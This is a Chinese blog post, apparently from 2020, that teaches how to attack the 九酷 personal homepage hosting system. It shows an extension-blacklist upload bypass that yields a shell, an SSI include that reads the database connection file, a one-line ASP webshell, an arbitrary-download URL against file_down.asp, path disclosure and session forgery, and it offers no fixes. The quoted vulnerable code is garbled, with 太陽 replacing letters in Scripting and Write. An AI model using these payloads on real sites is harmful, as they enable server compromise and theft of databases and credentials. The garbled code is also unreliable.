再探九酷網絡個人主頁空間管理系統
- 發布于:2020-02-17
- 共 258 人圍觀
1、上傳漏洞。
程序的編寫者犯了一個較易被忽略的錯誤-僅在后臺管理中配置”禁止”上傳的文件的類型,而并非”允許”上傳的類型,這樣極容易忽略一些危險的擴展名。(圖一)
我們來看界面,選擇一個asp文件上傳,程序提示擴展名非法(圖二),好的,我們把擴展名改為asa,上傳,成功,得到了一個Shell。(圖三)
但是我們運氣不會總是這么好吧,如果有經驗的網管把asa,cer等文件的asp.dll映射刪除了怎么辦呢。我們可以利用SSI來獲得敏感信息。
什么是SSI呢,SSI是Server Side Include的縮寫,即服務器端包含,這個功能可以在服務器端包含一個文件,由ssinc.dll這個文件負責包含文件。譬如我們在asp中常用的<!--#include file=”conn.asp”-->即是SSI的一種應用。
在本地寫一個文件,內容是<!--#include file=”inc/conn.asp”-->,保存為look.stm上傳到服務器上,然后訪問此文件,查看源文件,你就可以看到程序的數據連接文件的內容了。(圖四)這個系統的數據庫沒有作防下載處理,我們可以放心下載。但是注意:如果文件名是有特殊符號的,我們應該用ASCII碼轉換器來轉換正確的地址。
關于上傳,還有一個漏洞就是,這個系統用的是5xsoft的通用上傳類,有沒有上傳漏洞呢,這個漏洞很老了,希望大家自己動手試試看。
2、保存漏洞。
新的4.1的九酷,對讀目錄、文件和刪除都作了不錯的權限判定,如果直接改參數會報錯說沒有權限(圖五),并且改文件名的時候程序也會一樣判斷是不是危險類型。
經過測試,玄貓發現在文件編輯保存模塊出現了小洞洞,我們可以把文件順利地保存為asp的擴展名,但是程序會對文件內容進行檢查,一些危險字符是不能用的,不過我們可以用一句話木馬,在文件中寫入:<%execute request(“value”)%>,然后用玄貓改進的一句話木馬客戶端寫入新的文件即可。
3、Stream下載文件漏洞。
程序在網站管理中有個功能是下載文件,是在服務器端以二進制方式讀出文件,然后以流輸出到客戶端瀏覽器,負責這個功能的是file_down.asp文件。我們來看關鍵代碼:
call downloadFile(Request("path")) ‘獲取參數path的值,即要下載的文件
function downloadFile(strFile)
strFilename = fullpath&strFile
Response.Buffer = True
Response.Clear
Set s = Server.CreateObject("ADODB.Stream") ‘建立Stream對象
s.Open
s.Type = 1
on error resume next
Set fso = Server.CreateObject("Sc太陽pting.FileSystemObject") ’建立Stream對象
if not fso.FileExists(strFilename) then ’如果文件不存在
Response.W太陽te("<h1>Error:</h1>" & strFilename & " does not exist<p>")
Response.End
end if
Set f = fso.GetFile(strFilename)
intFilelength = f.size
s.LoadFromFile(strFilename) ’讀入文件
if err then
Response.W太陽te("<h1>Error: </h1>" & err.Desc太陽ption & "<p>")
Response.End
end if
’開始輸出文件
Response.AddHeader "Content-Disposition", "attachment; filename=" & f.name
Response.AddHeader "Content-Length", intFilelength
Response.CharSet = "UTF-8"
Response.ContentType = "application/octet-stream"
Response.BinaryW太陽te s.Read ‘以二進制方式發送文件流
Response.Flush
s.Close
Set s = Nothing
End Function
程序沒有檢測是否有權限訪問要下載的文件,就通通給輸出了,這樣我們就可以下載服務器上的任何文件了,先提交file_down.asp?path=inc/conn.asp,下載數據庫連接文件,然后就可以下載數據庫了。注意:因為訪問的文件是file_down.asp,所以下載的文件地址應該是相對根目錄的,不要搞錯了哦。
4、暴露系統路徑漏洞。
這個漏洞還是由于上面的file_down.asp文件引起的,我們看到,這個模塊的一個錯誤處理是當文件不存在時提示,但是程序很好心的連路徑一起提示了,這樣當我們試圖下載一個不存在的文件時,就會得到系統路徑。(圖六)
程序的漏洞到這里就算說完了,但是玄貓在文章還要說些關于這種系統的看法:
個人認為,這種系統如果要做到安全性非常好的話,只有不提供asp的免費空間,這樣將用戶網站的數據目錄的執行權限去掉,禁止其運行asp等由asp.dll解析的文件或這應用SSI隨便讀取文件,當然,這樣網站提供的服務就單調很多了??赡苡械呐笥颜J為我說的過于絕對了,除去程序的漏洞不說,讓我們來想想這樣構建有什么弊病:
1、用戶權限難以設定:
只要用戶的權限設定有誤,就可能造成用戶可以越權到其他用戶的目錄或者網站的其他目錄。
這個問題當前沒有很好的解決方式,除非給每個空間的用戶單獨配置internet來賓賬號的權限,這樣提供商的工作量就會大大加大。
2、session混亂難以控制:
即使像上面那樣作了單獨的配置,但用戶始終在一臺服務器上,一般提供的域名也是按照目錄的方式,這樣主域名一定是相同的,譬如所有用戶的網址都是形如:http://blackwoods.cn/yourname的形式,但是前面的blackwoods.cn都是相同的,這樣就導致用戶只要可以運行asp,就可以自己構造session,加之程序中判定用戶是否登錄僅憑session中的用戶名或者session是否為空,不在session中保存密碼以密碼來判定,這樣我們就可以自己構造session欺騙系統以達到登錄管理或其他用戶的目的。
因為漏洞比較多,并且比較明顯,所以玄貓在這里就不給出漏洞的補丁了,大家可以試著對editfile.asp、upfile.asp這些文件進行修改,如果大家對這個系統還有什么更好的想法.
標簽: